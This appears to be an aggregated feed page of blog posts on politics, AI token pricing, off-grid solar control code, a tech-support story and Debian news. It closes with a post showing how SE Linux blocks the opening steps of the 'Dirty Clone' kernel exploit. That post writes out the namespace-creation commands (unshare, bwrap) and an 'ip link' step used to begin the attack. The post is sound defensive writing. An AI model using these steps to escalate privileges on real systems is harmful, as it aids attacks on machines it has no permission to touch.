  • Pavilions
  • Plated
  • Randalls
  • Safeway
  • Shaw's
  • Star Market
  • Tom Thumb
  • United Supermarkets
  • Vons

Mourning in America [Richard Stallman's Political Notes]

Robert Reich: Mourning the great ideals which America had partly achieved, but which the wrecker is trashing.

German court ruled Google responsible in Supposed Intelligence overviews [Richard Stallman's Political Notes]

A court in Germany ruled that Google is responsible for accusations in Supposed Intelligence Overviews when they are not justified by sources.

For Google to design the implementation of "overviews" to check their validity require it to understand the sources and what can validly be inferred from them. That would require true intelligence—pretend intelligence isn't sufficient.

Corrupter met resistance to Bill Pulte nomination [Richard Stallman's Political Notes]

The corrupter met with resistance to his nomination of Bill Pulte to head US intelligence agencies, and has now nominated Jay Clayton who likewise gives little reason for confidence.

Whistleblower identification risks [Richard Stallman's Political Notes]

"Age verification" requirements threaten to identify whistleblowers. They generally require that all users of a site prove their identities, or present video selfies which governments could use to identify them.

Any attempt by a whistleblower to contact a reporter through a site that does age verification is likely to enable tyrannical rulers to identify per and crush per.

This will also prohibit reporters from using anonymous accounts to follow what others are posting or enable sources to contact them.

Anti-ICE organizers [Richard Stallman's Political Notes]

*Anti-deportation-thug organizers shift focus to defend democracy from [the persecutor's] assault.

Citizens in Minnesota using lessons learned from migrant crackdown to protect elections from president's threats.*

06:21

Girl Genius for Wednesday, July 01, 2026 [Girl Genius]

The Girl Genius comic for Wednesday, July 01, 2026 has been posted.

02:07

Makes Sense To Me [QC RSS v2]

no foolishness detected

01:21

Farewell, June [Whatever]

I’m still traveling, so no huge update today (although I am fine! Everything is fine!), but I want to post this shot of the Ferris Wheel at Chicago’s Navy Pier the other night. It feels very June to me. Onward to July.

— JS

Tuesday, 30 June

23:28

Link [Scripting News]

BTW, I sometimes ask Claude "what do you think" and it often has an opinion.

Link [Scripting News]

BTW thanks to Dave Carlick for noticing when I had fun writing a piece, laughing out loud at almost every sentence. Who's the biggest fan of my writing? Me. But sometimes I think of Dave C. And Sally At.

20:49

Fancy food update [Seth's Blog]

Everybody eats.

And, now and then, it’s fun to find something better. In the scheme of things, fancy foods are a bargain, a chance to have the best in the world for a few dollars.

Here are some persistent (and new) favorites. For those outside the US, I hope you can find even better local options.

Koeze makes the best peanut butter in the country. They make one batch a day, laboriously grinding for three hours. Zingermans often has it at a bulk discount.

Seed & Mill has a chocolate tahini sauce that’s mind-blowing. Imagine Nutella, but 10x better and just the good parts. Her cookbook is great, too.

Burlap & Barrel offers cardamom extract that will transform a glass of bubbly water into a sophisticated refresher.

Three chocolates from South America, from the rare porcelana bean and its cousins:

  • Heinde Verre offers two related varietals in one comparison pack.
  • Orfeve makes a nearly perfect sophisticated bar.
  • And Idilio offers one that’s unforgettable.

Summer sophistication and deliciousness are easy with a good shaker. You put whatever you want to drink (I steam 100% cacao with oat milk) over ice and then shake and pour. I was a skeptic on this, but I’m converted.

Rishi Dandelion Ginger. Extraordinary and surprising. And most things taste better mixed with tonic.

Life’s too short for average vinegar. The good stuff lasts a long time and costs not much more.

Raw almonds in the air fryer for 15 minutes at 340 degrees F. Not just healthier–quite good. Perfect with dried plums.

If you’re in Manhattan, check in the comments for when he’s open, then go have a dosa.

And their slogan might be true: These are the best dates.

19:07

Free Software Directory meeting on IRC: Friday, July 3, starting at 12:00 EDT (16:00 UTC) [Planet GNU]

Join the FSF and friends on Friday, July 3 from 12:00 to 15:00 EDT (16:00 to 19:00 UTC) to help improve the Free Software Directory.

Creative Commons founders' fireside chat (Creative Commons blog) [LWN.net]

Dee Harris has published a summary of the recent "fireside chat" featuring Creative Commons founders Hal Abelson, Lawrence (Larry) Lessig, Molly Van Houweling, and Glenn Otis Brown. The chat was to mark the 25th anniversary of Creative Commons and included a look back at its history as well as a look at the landscape today:

Twenty-five years ago, a small group of people made a bet. They believed that if you gave creators a simple set of tools and licenses in language that a lawyer, a machine, and a human could all read, millions of people might choose to share their work with the world instead of locking it down.

The video of the chat is available on YouTube.

Dirk Eddelbuettel: tl 0.0.2 on CRAN: First Update [Planet Debian]

The still-very-new logging package tl was just updated for the first time at CRAN. The tl package wraps the (also very new) rspdlite package to offer a lightweight and consistent logging interface from both R and C++ that enjoys being ‘tiny, fast, capable’ thanks to spdlite. With tl we follow the same idea that our spdl package introduced: a simple consistent interface via just the tl:: prefix and the appropropriate logging level. In other words tl::debug("Alert: foo now '{}'", foo) will work from both R and C++ (given a variable foo, and, in the case of C++, an extra semicolon) and log if the current level is ‘debug’ or higher, and skip logging if not.

This release adds a fallback when compilation does not use the (required) C++20 standard, expands the README and adds a initialization helper function reflecting a preferred default logging level from either an environment variable or a global option. We are also working on adding tl to an example package as a simple illustration, more on that hopefully soon.

The NEWS entry for this release follows.

Changes in version 0.0.2 (2025-06-30)

  • Added badges to README now that package is on CRAN, add NEWS file

  • Condition the provided header on C++20 use, offer fallback

  • Add an exported initialization function picking up a logging level from either an environment variable or a global option, see '?init'

Courtesy of my CRANberries, there is also a diffstat report for the this release.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can sponsor me at GitHub.

Reproducible Builds (diffoscope): diffoscope 323 released [Planet Debian]

The diffoscope maintainers are pleased to announce the release of diffoscope version 323. This version includes the following changes:

[ Chris Lamb ]
* Debian adds an extra "Flags:" line in the output of ocamlobjinfo via a
  patch, so adjust how we test OCaml to ensure cross-distribution
  compatibility. (Closes: reproducible-builds/diffoscope#430)
* Update copyright years.

[ Michael Daniels ]
* Fix tests when using zipdetails version >= 4.006.

You find out more by visiting the project homepage.

18:14

Link [Scripting News]

Some things Claude is extremely tedious at. But then it blows you away how it can read thousands of lines of complicated code in a few seconds (in parallel) and find tiny little things that any good obsessive programmer would want to fix (like me). And be amazed at how we, our species, made such a thing. Where is the pride? I was once prideful that my civilization created a great piece of machinery like my Subaru Forester, and now just a few years later, we've come up with a decent simulation of a super-human brain that's not just a demo or a robot vacuum cleaner it actually does amazing science fiction type stuff. Take a deep breath and feel a little awe to go with the cynicism. It's good to be ready to be riled up, but sometimes the truth isn't as bad as you'd like to think, sometimes it's utterly amazing. ;-)

Link [Scripting News]

Earlier today I suggested doing an AI/UI overhaul for WordPress, and today I see the announcement of that from (apparently) an independent developer. Breath-taking.

The End of Tokenmaxxing [Radar]

The practice of tokenmaxxing appears to be dying out, even before I had a chance to write about it. Good riddance. Burning tokens to create the appearance of productivity was fated to last only until the accountants learned about it, and the strictest of all accountants is one’s personal checkbook. What got many developers thinking about the cost of AI was the change in GitHub Copilot’s usage charges. The cost of Copilot went from a monthly fee with unlimited use to a monthly fee that purchased a limited number of credits, which are used to pay the AI provider of your choice. One credit is equivalent to US$0.01; when you’ve used up your credits, you can upgrade your account or pay for additional credits as you go.

The question isn’t why this didn’t happen earlier; it’s why this happened now. Tokenmaxxing is both the creation and victim of two large-scale trends in AI. First, starting with OpenAI, the major AI providers were all playing a blitzscaling game that prioritized user growth over profitability. Giving AI services away for free got you more users, and in the long run, scalers would figure out how to make money from end-user fees, selling user data, or advertising. This process inevitably ends in enshittification, and is still very much the road we’re on.

Second, token usage exploded late in 2025. The appearance of “reasoning models,” which use tokens to maintain an internal dialog in the course of solving a problem, increased the number of tokens used to respond to each prompt. Reasoning tokens are a model’s conversation with itself about possible responses to the prompt, and are often more numerous than the prompt and response themselves. Whether or not users see the reasoning process (often they don’t), reasoning tokens add to the bill. They are frequently counted as “output tokens” because they are generated by the model, and are more expensive than input tokens.

The appearance of agents also multiplied the rate at which users consumed tokens. In May, 2025, Simon Willison quoted Anthropic’s Hannah Moran’s definition of an agent: “Agents are models using tools in a loop.” The Tredence blog writes: “The agent loop is a repeating cycle in which the AI reads the current data, thinks through what it means, chooses an action, carries it out, checks what happens and starts over.” If you’ve ever watched Claude Code, OpenClaw, or any other agent work, a single request can become many calls to a model, each one using hundreds of tokens, if not thousands. In addition to the current request, one agent-generated invocation can contain the task’s entire accumulated context and relevant documents. Between reasoning tokens and agents, token usage goes up by a factor of hundreds.

The increase in token usage might not be an issue if it results in problems being solved and tasks completed more effectively. But it collides with the loss-leader pricing of the blitzscalers; their willingness to operate at a loss to gain control of a market has limits. Regardless of whether the number of AI users is increasing, the amount of computation, and therefore cost, per user grows as the use of agents increases. Reasoning models increased token usage; agents compounded the problem; and that led to price increases.1 Microsoft/GitHub doesn’t want to pay Copilot customers’ AI bills. We haven’t yet seen across-the-board price increases from the AI providers themselves. But we have seen GitHub’s token credits, and we have seen Anthropic and OpenAI price more capable models significantly higher than older or less capable models. Fable is twice as expensive as Opus 4.8, and while some writers have called this pricing “fantastic,” that’s probably because they were expecting an even greater increase. While Fable can delegate tasks to Anthropic’s less expensive models, most early users observe that with Fable, token use goes up rather than down. Anthropic’s switch to token-based billing for its agent SDK (currently on hold) is another signal that the days of inexpensive AI are coming to an end. OpenAI’s story is similar: GPT 5.5 costs twice as much GPT 5.4 per million tokens.

It’s also important to take capacity into account. Huge data centers have been in the news, but those data centers haven’t been built yet. More important, the electrical infrastructure needed to support those data centers—transmission lines, generators—hasn’t been built either, and that’s not an investment over which AI companies have much control. They can build their own power generation facilities on a data center campus, but that’s a huge investment in technologies that they’re not familiar with. And even if you generate power locally, you need other kinds of infrastructure: rail for coal, pipelines for gas. This isn’t (yet) an essay about data center power consumption and its consequences, but it is another factor that limits increased token usage. We’ve seen Anthropic’s outages blamed on capacity, and Anthropic has responded by leasing unused data center capacity from SpaceX. But the other way to respond to increased demand that can’t be met by current capacity is to increase prices, limiting customers to those who can afford to pay. That increase is being noticed by managers, accountants, and independent developers.

Token optimization and accountability are the inevitable consequence of upward pressure on token price. One way to build accountability is through better governance, a route Bennie Haelen describes in “The Subsidy Ended: What Tool-Using Agents Actually Cost.” Better governance is achieved through building an observability layer that lets you see exactly what the agents and models are doing. With a well-designed observability layer, you can see whether the data sent to the model is growing with each invocation, whether the model is using appropriate tools, whether tools are being called repeatedly, and a lot of other information that will tell you whether your agent is running efficiently.

Another piece of token accountability is understanding which models are running your agent’s requests. General-purpose reasoning models range from expensive high-performance models like Claude Fable or Opus 4.8 to models like Gemma 4 26B that can run on a well-equipped laptop, and some models that are even smaller. While it’s tempting to say “I need the best; I’ll run Opus 4.8 or Fable with maximum reasoning,” most requests don’t require that level of reasoning or expense. Agents will be able to decide what model is best for processing every request. Fable can delegate, and we expect other frontier providers to follow as models incorporate agent capabilities. And there’s an active world of open models outside of the frontier AI providers. Vicki Boykis writes that models running locally now work almost as well as frontier models. Tools like OpenRouter give you a model-independent way of routing requests to different models, including open models that run locally. OpenRouter can be integrated with OpenClaw, Claude Code, Cursor, Codex, and other agents to provide intelligent routing.

Tokenmaxxing is dying. It will no doubt take time for its vestiges to die away, and there will always be developers who think they can game the path to a promotion, along with managers who insist on being “all in” with AI. But spending tokens responsibly is now the norm, whether you pay with your own checkbook or a company account. Token optimization will only become more important as per-token charges increase. They undoubtedly will.

Footnotes

  1. Some articles make the strange claim that tokens have gotten cheaper by up to 98%. GPT-5.5 suggests that these writers are considering the work that can be done per token. That comparison may be worthwhile, though it’s unclear how to compare GPT-3 with 5.5 or Fable meaningfully. For this article, a token is a token. ↩

17:35

Joey Hess: big loads offgrid with a small battery (sidelined) [Planet Debian]

No matter that the hype cycle wants you to think, the renewable energy transition is the biggest thing happening in tech and it's happening faster and faster. Despite being neck deep in it personally with offgrid solar projects, most recently solar hot water, increasingly it becomes clear I'm watching from the sidelines.

In Australia, everyone gets 24 kwh of free daytime electric power now. That's without installing any solar panels of their own, the grid just has that much excess capacity. All it takes to save $thousands per year (and avoid emissions) is to schedule some big loads like the hot water heater and EV to charge during the day. To save more, drop in a home battery that charges for free and powers the home through the evening.

In Germany, a 2 kwh plug-in home battery costs $350 and the electric company will pay you $130 per year to plug it into your wall. There are similar offers throughout Europe.

In Cuba something something geopolitics, oil blockade, belt and road => suddenly 1GW of solar farms with another gigawatt on the way.

I'll soon visit South Carolina where with no subsidies whatsoever from a decidedly renewable-unfriendly government, it made sense for my dad's house to get a whole home battery and double the solar array. The resulting system will be able to power the well pump and probably also the whole geothermal HVAC system through the kind of month-long grid down events that happened in Hurricane Helene.

Myself, well, I've got a by modern standards small 4 kwh home battery that powers my house offgrid, and I've recently installed a heat pump hot water heater. That's after about a decade pondering what solution to use for solar hot water, to replace an aging and horrible propane instant water heater. I've in the past considered everything from evacuated tubes to special direct drive inverters to DC resistive MPTT dump loads. The solution turned out to be just a big enough solar array, and plugging in a 120v hot water heater that needs only 500 watts in heat pump mode. Plus a small amount of code to manage when it runs.

In the time I was thinking about that, economies of scale and tech improvements just wiped all those other possibilities off the map, it's not economical to install and maintain a separate evactuated tube heat collector when a pile of solar panels costs so little and when electric hot water has gotten more than 200% efficient.

I also recently completed my permanant EV charger installation, with a new inverter and conduit and proper wiring, and increased the car's charge rate to 2 kw. Eliminating the need to charge anywhere except at home except on road trips.

Coordinating when these two big loads run, to maximize solar production and ensure that the house battery is full at the end of the day was ... not hard at all actually? The car charger amps can be dialed up and down to match incoming solar power fairly well, and leave some room for the hot water heater. They both operate as more or less dump loads. More or less because neither one can be cycled on or off very fast (to avoid wear and tear on the car's contactor and the heat pump's compressor), so it makes sense to leave them on and skate through short cloudy sections of the day, as long as the house battery doesn't get too low.

How low is too low for the house battery? Depends on the time of day. The code it's currently using, which may get tweaked over winter:

    -- When the battery is charged enough to run major loads that may prevent
    -- charging it further.
    --
    -- This varies with the hour of day. Early in the day, the battery does not
    -- need to be as full to be considered well charged, since there is
    -- still plenty of time for it to charge up. Later in the day, with less
    -- time to charge, it needs to be more full.
    wellCharged :: Hour -> Percentage
    wellCharged (Hour hour)
            | hour < 9 = Percentage 90 -- night
            | pmhour <= 0 = Percentage 50
            | pmhour <= 1 = Percentage 60
            | pmhour <= 2 = Percentage 70
            | pmhour <= 3 = Percentage 80
            | pmhour <= 4 = Percentage 90
            | otherwise = Percentage 95
      where
            pmhour = hour - 12

More complicated is, what to do it there's solar power to run one or the other, but not both? This is starting to get into the territory of microgrids now, or of demand response programs, so there's a whole industry or three out there doing industry things geared at the kind of no-brainer solutions I mentioned earlier. From what I've gathered, all of them involve proprietary protocols and gear.

What I've done is to read the state of the hot water heater and car, and prioritize hot water over the car. Except, if the car is below 10% it urgently needs to charge.

And I found a really simple way to decide when to run the low-priority load: Just check if the house battery's current charge will be considered wellCharged in an hour. So if it's 2 pm, the battery needs to be 80% charged to run the lower-priority load, and if it dips below that, that load will turn off but the high-priority load will keep running down to 70% battery.

Unfortunately, getting any information out of my hot water heater relies on a vendor API server that is often down on weekends, and reverse engineered the web page of my EVSE[1] to control it, to say nothing of the nightmare of getting the car's state of charge from The Cloud.

Anyway, I'm pleased with having easily tweakable code and how far I've taken this offgrid, and everything I've learned doing so, but like I said, I'm clearly observing from the sidelines over here while the most significant thing for all of us is going on over there. You might appreciate my code or method, but you'll eventually be plugging in a home battery or signing up for a free daytime power tarrif from your electric company, or having professionals install a whole home system for climate resiliance.

So my question is, where does free software fit into all this? There are things like Home Assistant that do productize the kind of thing I'm doing enough to be useful more widely. But still niche. Meanwhile there are inverters and batteries that phone home to China, and every consumer facing install is either "use this device" or "integrate these 3 proprietary devices".

I don't think focusing on these negatives is really useful though, I'm more trying to understand where all this is going and then maybe get out ahead of it in some useful way with free software. Your thoughts welcome.


[1] Obviously OpenEVSE exists, but it didn't meet my needs hardware wise. And I could set my EVSE to use an OCPP server but it was easier to do the screen scraping than find an appropriate one, and I have the feeling I would not appreciate learning any more about OCPP, in the same way I really don't want to know a lot about web browsers' tag soup mode.

15:14

A compatibility note on the abuse of Windows window class extra bytes [The Old New Thing]

During my discussion of the evolution of system-windows window and class extra bytes, I noted that even though IDs are typically small integers, people liked to stash pointers there, so we had to expand the ID field to a pointer-sized integer.

One thing I’ve learned is that anywhere it’s possible to hide a pointer, people will hide a pointer there. This is true even for small integers.

As I was digging up the history of the extra bytes, I saw a special note in the 16-bit code for Set­Class­Word: It says that there’s an app that expects to be able to modify the value of GWW_CB­CLS­EXTRA.

Now, modifying this value has no practical effect because the memory for the class was allocated when you called Register­Class. You can’t go back in time and change the allocation size.

But one program realized that it could use this value as a place to store some private data, so they did. Sure, that’s not the purpose of the GWW_CB­CLS­EXTRA, but that never stopped them.

For compatibility, Windows lets 16-bit programs modify GWW_CB­CLS­EXTRA. But at least it blocks it for 32-bit and 64-bit programs. One loophole closed. Countless more to go.

The post A compatibility note on the abuse of Windows window class extra bytes appeared first on The Old New Thing.

Russell Coker: Links June 2026 [Planet Debian]

This is amusing, a flaw in the crypto-currency Zcash allowed generating Zcash from nothing and there’s no way to know if anyone did that [1].

Cory Doctorow wrote an insightful article for Locus Magazine about corporate valuations and why companies claim SciFi technologies [2].

Charles Stross wrote an interesting retcon of James Bond [3].

Trakkr.ai has an intresting post comparing political bias in LLM models, the site has lots of other comparisons of models too [4].

Wouter Verhelst wrote a blog post about his tested usage of LLMs for code generation and the conclusions about what it will do to the FOSS development process, not a lot of new material but he put a lot of good ideas together in one place [5].

Here is the git repository for the programs used for the ssh-audit.com site, really good setup for checking ssh configuration [6].

The isaiprofitable.com site is periodically updated with the profit/loss totals for AI companies, no surprise that every company is losing money apart from NVidia and NVidia are investing in the other companies [7].

Elvira Bary wrote an informative article about Russia’s inability to build or design anything good [8]. Looks like we are at risk of another Chernobyl…

Lev Lafayette wrote an interesting blog post about the Sunway TaihuLight supercomputer with over 10,000,000 cores [9].

Point Free wrote an interesting blog post about running the Gemma 4 LLM which is 25G of data at a usable speed on a Xeon system with DDR3 RAM and no GPU [10].

14:35

[$] Flexible metaprogramming with Rhombus [LWN.net]

Lisp-like languages have historically led the world in metaprogramming and flexibility. While many modern languages have adopted the idea of macros, Lisp-like languages such as Racket have continued pushing the envelope, attempting to make macros as easy as possible to incorporate into everyday programs. On the other hand, Lisp's minimal, parenthesis-based syntax can be hard to adapt to — to the point that Lisp is sometimes said to stand for "Lots of Irritating Silly Parentheses". Rhombus is a new programming language that aims to have the best of both worlds, marrying Racket's metaprogramming capabilities to a simple Python-like syntax and reasonable standard-library defaults.

Security updates for Tuesday [LWN.net]

Security updates have been issued by AlmaLinux (git-lfs, perl-Archive-Tar, perl-IO-Compress, python3.12-urllib3, and runc), Debian (sogo), Fedora (perl-DBI and perl-Socket), Oracle (firefox, freerdp, git-lfs, libsoup, libxml2, mod_md, mysql, perl-Archive-Tar, perl-IO-Compress, python, python3.12-urllib3, rsync, thunderbird, tomcat, xorg-x11-server, and xorg-x11-server-Xwayland), SUSE (389-ds, 7zip, alsa, amazon-ecs-init, amazon-ssm-agent, ansible-core, apache2, atril, avahi, bind, bitcoin, capnproto, chromedriver, chromium, cosign, distribution, dnsdist, docker, dovecot24, dracut, firefox, firewalld, freeipmi, freerdp, giflib, gimp, gleam, glib-networking, glibc, glycin-loaders, golang-github-prometheus-alertmanager, google-cloud-sap-agent, google-guest-agent, graphite2, gsasl, hamlib, helm, himmelblau, ignition, imagemagick, istioctl, jackson-databind, jq, jupyter-jupyterlab-templates, keylime, krb5, ldns, libaom, libcaca, libgcrypt, libheif, libinput, libjxl, libnfs, libslirp-devel, libsolv, libzypp, zypper, libssh2_org, libvncserver, libyang, lldpd, logback, loupe, mbedtls, mbedtls-2, mcphost, mozjs128, mutt, nano, nginx, ocaml, ofono, openCryptoki, opencryptoki, opensc, openssh, openssl-3, papers, perl-compress-raw-zlib, perl-config-inifiles, perl-cpanel-json-xs, perl-crypt-passwdmd5, perl-DBI, perl-dbi, perl-html-parser, perl-http-daemon, perl-libwww-perl, perl-protocol-http2, postfix, postgresql14, postgresql15, postgresql16, python-aiohttp, python-biopython, python-click, python-ecdsa, python-idna, python-markdown, python-joblib,, python-paramiko, python-pdm, python-pip, python-py7zr, python-pydata-sphinx-theme, python-pyjwt, python-python-multipart, python-starlette, python-tornado6, python311-jupyter-ydoc, rpcbind, sed, sg3_utils, sqlite3, strongswan, tar, thunderbird, tomcat, tomcat10, tomcat11, trivy, unbound, util-linux, warewulf4, webkit2gtk3, xar, xwayland, yt-dlp, and zypper, libzypp, libsolv), and Ubuntu (libheif, nss, qemu, roundcube, and sqlite3).

14:07

The Hot Fix [The Daily WTF]

Everybody has a nemesis. A dark mirror of yourself, a challenge that is everything you hate. If you've ever worked tech-support, you know what that is: printer issues.
I'm Anonymous, and you last saw me in the case of The Ghost Cursor. This is my story.

As the days marched on, the chill in the air turned from bracing to painful. God had hoofed it down to Florida for the winter, and this year, he'd stolen Hope away with him. Between leaden skies and dirty slush, gale-force winds sent snow tearing down city streets to sandblast one and all into their constituent atoms.

In that timeless slog, one year ended and another began, barely noticed. The short days and bitter cold made my foot-and-bus commute almost unbearable. Only the promise of warmth and caffeine at the other end got me through. A cup of joe at my desk, then a glance at my caseload, something I approached with a weird mix of curiosity and dread.

That morning, a fresh ticket had just come my way: The new printer in HR keeps printing gibberish.

Another printer. Why was it always printers? I dialed up the source, a guy named Tony, and made my introductions. “What do you mean by 'gibberish?'”

“It'd be easier to show you in person,” Tony replied, his voice jittery. “Could you stop by my cube right away?”

“Sure thing.”

I hung up, tossed the last dregs of coffee down my throat, and stood from my chair. At the same moment, a slight silver-haired woman made tracks down the open passageway a few feet away from me. She clutched her laptop and a stack of folders to her chest, making a beeline toward who-knew-what.

My first pleasant surprise of the day. I couldn't help calling out to her. “Aggie! How's it goin'?”

When I'd first gotten my start in Tech Support, Agnes Shaw had been one of the department's top reps. She knew every system quirk, every trick to pull, every right thing to say to leave a smile on someone's face. I'd come up under her wing, sought her advice a million times.

And then they'd offered Aggie a promotion, with a fancy title and salary to boot. She'd taken it.

That was years ago, now. I wasn't her direct report, so I only caught glimpses of her now and then. It was a shame.

Aggie halted in her tracks, dazed and startled, before looking my way. A second later, she smiled. “Hello! Doing just fine, yourself?”

“Same as ever.” But my spirits had lifted. Knowing there was no time to waste, I darted over to conversational distance. “You're a hard one to get ahold of.”

She shrugged her shoulders with a wistful expression.

“Why don't we step out for a smoke?” It seemed like we both needed it. “When are you free?”

“Not today. Meetings all day.” Aggie glanced askance. “It's not appropriate for me to go out there, anyway. You need a place where you can vent freely.”

“Spoken like a true manager,” I scolded with a smirk. “Listen, we haven't caught up in ages. Could we step out for coffee sometime?”

A warm glow peeked through her distraction. “I'd like that! Find an open spot on my schedule and book it, OK? I gotta run!” With a look of apology, Aggie backed away and rushed down the passage flanked by cubicles and filing cabinets.

Aggie made these offers all the time. Then, just before the appointed hour, something always came up that required a rain check. Well, I didn't care. I darted back to my desk, woke up my sleeping machine, and pulled up the office calendar to request a meeting the next day, right when I usually needed a dose of caffeine to make it through an otherwise endless afternoon. It was on Aggie to confirm or reschedule.

Meanwhile, I had a date with HR.

Human Resources. Normally, those words gave me an instant case of the willies. Μost of the people there were the sort of drones who couldn't hack Accounting or Finance in business school. But Leila … Leila was different. I couldn't help thinking about her. Back when I'd fielded a support ticket up in C-Town, an issue caused by the very CEO who'd filed the ticket, Leila had helped me keep my head attached to my neck. It seemed like maybe, just maybe, she really did want to improve this sorry joint the way she claimed.

I entered the nearest stairwell and plodded down a couple flights of concrete steps. Within those narrow confines, I brought myself back to reality. Leila was one executive among dozens on the org-chart. She wouldn't have a blessed thing to do with a low-level case like this. I had to stay on my toes in HR, no matter what friends I thought I'd made.

I pushed open the stairwell door and entered a carpeted space lined with filing cabinets, supply closets, and office machines. Sharp florescent lighting revealed an older man in a tailored suit only a few feet away, frowning as he took a hair dryer to the insides of a large printer that'd seen better days and now begged for oblivion.

As the stairwell door swung shut behind me, I froze. No matter how many years you piled up in this joint, it never ran out of new things to throw at you. This had to be the printer I was there to fix—more like save from yet another abusive higher-up who'd require kid-glove handling.

First things first. I had no idea if I'd gotten there in time to save the printer, but damned if I wouldn't try. Like a lifeguard diving in after a drowning victim, I rushed over to the outlet where the hair dryer was plugged in. Adding to the insanity, it was the wrong sort of outlet for a hair dryer, which needed a GFCI to run safely. I ripped the plug from the outlet and threw it aside.

The roar of the dryer faded, leaving stunned silence in its wake.

Burning with righteous fire, I spun around to face the perp. The HR big-shot faced me, too, brandishing his hair dryer like a revolver. Wide-eyed passersby fringed the scene like extras in a B-Western.

Kicking anything or anyone when they were down was the sort of thing that stabbed through my armor of veteran cynicism, riling me up with righteous anger. But an outburst would only make things worse. For the good of all, I swallowed it, forcing a polite lie past gritted teeth. “Just wanted to make sure you could hear me, sir.”

Like hell.

“Tech Support,” I introduced myself. “This the printer that ain't working?”

Hothead's glaring frustration shifted away from his victim, toward me. “Yes, and I've had it! It must be moisture inside the machine.”

God, help me. Oh, right: Florida.

“Good thinking, sir,” I said. “But I'm less worried about moisture and more worried about melting sensitive electronics with all that heat.”

His eyes went wide, like the notion had never entered his brain.

Slowly, I knelt to pick up the hair dryer's plug. Unchallenged, I rose and started winding the power cord around my left hand, inching closer to him in the process. Once I was standing in front of him, I proffered the wire bundle.

“Hold onto that for me, sir, if you don't mind.” Phrasing things as favors made them go down smoother. Now to dig up a workaround that would get this guy out of everyone's hair. “Is there some other printer you can use for now?”

His open hand clamped over the wire as his expression soured. “Yes, but it's a pain to walk over there!”

“I understand, sir. It's something. Don't worry about this one. I'll take it from here.”

Hothead walked off without another word. The spell broke; the onlookers found places to be.

With relief and dread, I approached the printer, fearing I'd be performing last rites. But as I checked it over inside and out, I found an incredible lack of melted parts. When I plugged it in and started it up, everything loaded just fine. Using the printer's onboard interface, I performed every available test print. They all worked.

Snatched from Death's doorstep. “Hang in there,” I muttered, patting the machine's plastic case. “I'm doing everything I can.”

Like making sure Leila got an earful about this. Later.

Before leaving the scene, I had a good look high and low. Ceiling tile and carpet were clean. No leaks, no spills. Even the heated indoor air lacked enough water molecules to give Hothead or anyone else the idea that “excess moisture” might've been the problem. Time to chase down the ticket-holder and see if the problem was already resolved.

A couple of passersby pointed me toward a distant corner of HR, where I found a cube-desk buried under reports, folders, and other well-intentioned clutter. A man was sitting in an office chair facing the cube's entrance, squeezing a rubber stress ball.

“You Tony?” I entered the cube, offering my hand.

He stood, shook, then immediately returned to the reassurance of his toy. “Sorry. My boss is, uh, tough like that.”

“Hothead's your boss? Jesus. He almost single-handedly iced that printer. Well, maybe 'iced' ain't the word for it.” I folded my arms. “You know who's gonna hear about it? The new head of HR. When I close this ticket, I'll drop her a line about what happened.”

Tony's eyes went wide. “Really? Thank you! I know I'm supposed to go up the chain, but …” He edged closer, lowering his voice. “Sometimes it's the chain that's the problem, y'know?”

Something I'd run into only a million times. “I know. Can't do much about it most of the time, but I can here, so I will.”

Tony nodded. “Thanks again.”

“Don't mention it. Anyway, the printer. Your ticket said it was new? Looks pretty darn old to me.”

“It's new over here,” Tony explained. “They just it brought down and set it up for us.”

“Can you try printing now?” I asked. “Let's see what happens.”


Later that morning, I stopped by the usual smoke-break spot between office buildings. As wind and snow coursed through the alley, I recapped the morning's events for my friends Megan and Reynaldo. Then I pulled a stack of folded-up paper from my trench coat pocket, splitting it in half to hand them several pages apiece. At last, I dug through my pockets for my sorely-needed cigarettes and lighter. While I carefully shielded the lighter's flame from the wind to light the cigarette clenched in my teeth, they studied the printouts with looks that quickly turned baffled.

”I don't feel safe working with Cheryl?” Reynaldo read aloud.

”John keeps staring at me in the break room. I've told him twice.” Megan's eyes found mine. “What the hell? Every print request does this?”

“Every print job except for test prints,” I replied. “We're lucky the poor thing starts up at all after Hothead gave it the salon treatment.”

Megan smirked, handing back her pages before hugging herself against the cold. “Sounds to me like it might be a network issue.” She glanced Reynaldo's way for confirmation.

Our veteran network admin was too busy frowning at the stack of paper he rifled through to notice. “What have you tried?” he asked me.

I helped myself to a long, warming drag. “The printer already spent some time turned off and unplugged.” Hothead had seen to that. “Since it's old, figured I'd reinstall the drivers, clear the print queue. Didn't help.” I shrugged. “Megan's right. Since it doesn't happen with test prints, it seems like something fishy's happening when the print requests coming through the network.”

Reynaldo frowned in thoughtful silence for a while, then glanced between us. “Do you remember that system for submitting HR complaints anonymously through the intranet?”

Forcing my brain-pointer back into memory spaces I usually steered clear of, it came back to me a little, through a thick fog. “Few years back? Before your time,” I added for Megan's benefit. “Never paid it much mind. Never really believed those gripes would actually be anonymous.”

“Yeah, that's crazy!” Megan said. “Who would trust that?”

I hefted the printouts she'd returned to me, each page loaded with more beef than a Texas ranch. “That's who.”

“They retired that program ages ago,” Reynaldo said. “The server was decommissioned—at least, so I thought.” He dropped his cigarette butt to the slush-covered asphalt and crushed it underfoot, sighing heavily with a knowing look. “Let's go trace some IPs.”

“Swell!” I was about to grind my partially-smoked cigarette against the brick wall behind me to save it for later when I caught the hopeful look in Megan's eye.

“Can I help, too?” she asked.

What fool would say no?

“We may need a good developer at that,” I said. “C'mon!”

To be continued…

[Advertisement] Keep the plebs out of prod. Restrict NuGet feed privileges with ProGet. Learn more.

13:42

Russell Coker: Dirty Clone and SE Linux [Planet Debian]

There is a new Linux kernel exploit out named Dirty Clone [1].

The first thing to do to exploit this is to create a container with a separate network namespace via one of the following commands:

unshare -Urn
bwrap --bind / / --unshare-user --unshare-net --uid 0 --gid 0 /bin/bash

The Jfrog people recommend “unshare -Urn” but I gave the Bubblewrap command as an option as it should work equally well and in some situations may be permitted when unshare isn’t.

The next step to exploiting it is to use the ip command to set the links up, below is what happens in a user session on a SE Linux system with user_t as the login domain:

# ip link set lo up
RTNETLINK answers: Operation not permitted

That will give an entry in /var/log/audit/audit.log like the following:

type=AVC msg=audit(1782818856.618:3610): avc:  denied  { net_admin } for  pid=1829 comm="ip" capability=12  scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:user_t:s0 tclass=cap_userns permissive=0
